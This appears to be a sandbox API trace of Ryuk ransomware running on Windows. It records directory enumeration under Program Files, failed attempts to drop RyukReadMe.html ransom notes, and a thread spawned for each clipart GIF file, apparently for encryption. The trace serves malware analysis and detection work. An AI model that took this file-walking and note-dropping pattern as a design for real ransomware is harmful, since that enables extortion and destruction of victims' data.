	[0232.464] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0232.464] SetLastError (dwErrCode=0x0) 
	[0232.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft analysis services\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.465] GetLastError () returned 0x5
	[0232.465] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0232.465] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.465] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa32ce250, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa32ce250, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0232.465] SetLastError (dwErrCode=0x0) 
	[0232.465] CreateFileW (lpFileName="C:\\Program Files\\RyukReadMe.html" (normalized: "c:\\program files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.466] GetLastError () returned 0x5
	[0232.466] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0232.466] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa32ce250, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa32ce250, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0232.466] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa32ce250, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa32ce250, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.466] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0232.467] SetLastError (dwErrCode=0x0) 
	[0232.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.467] GetLastError () returned 0x5
	[0232.467] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0232.467] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0232.479] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.479] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1
	[0232.479] SetLastError (dwErrCode=0x0) 
	[0232.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\clipart\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.480] GetLastError () returned 0x5
	[0232.480] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0232.480] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0232.496] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0232.539] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1
	[0232.539] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf64
	[0232.541] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.542] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1
	[0232.542] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf88
	[0232.580] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.581] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1
	[0232.581] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf94
	[0232.584] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.584] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1
	[0232.585] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf98
	[0232.587] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.588] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1
	[0232.588] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf9c
	[0232.652] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.653] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1
	[0232.653] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa0
	[0232.655] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.656] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1
	[0232.656] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4
	[0232.658] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.658] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1
	[0232.658] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8
	[0232.661] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.661] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1
	[0232.661] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfac
	[0232.664] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.664] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1
	[0232.664] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb0
	[0232.666] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.667] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1
	[0232.667] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb4
	[0232.668] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.669] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1
	[0232.669] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb8
	[0232.672] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.672] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1
	[0232.672] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfbc
	[0232.674] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.675] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1
	[0232.675] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc0
	[0232.677] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.678] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1
	[0232.678] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc4
	[0232.680] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.680] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1
	[0232.680] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc8
	[0232.682] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.682] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1
	[0232.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfcc
	[0232.685] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.686] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1
	[0232.686] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd0
	[0232.734] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0232.734] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1
	[0232.735] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0232.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd4
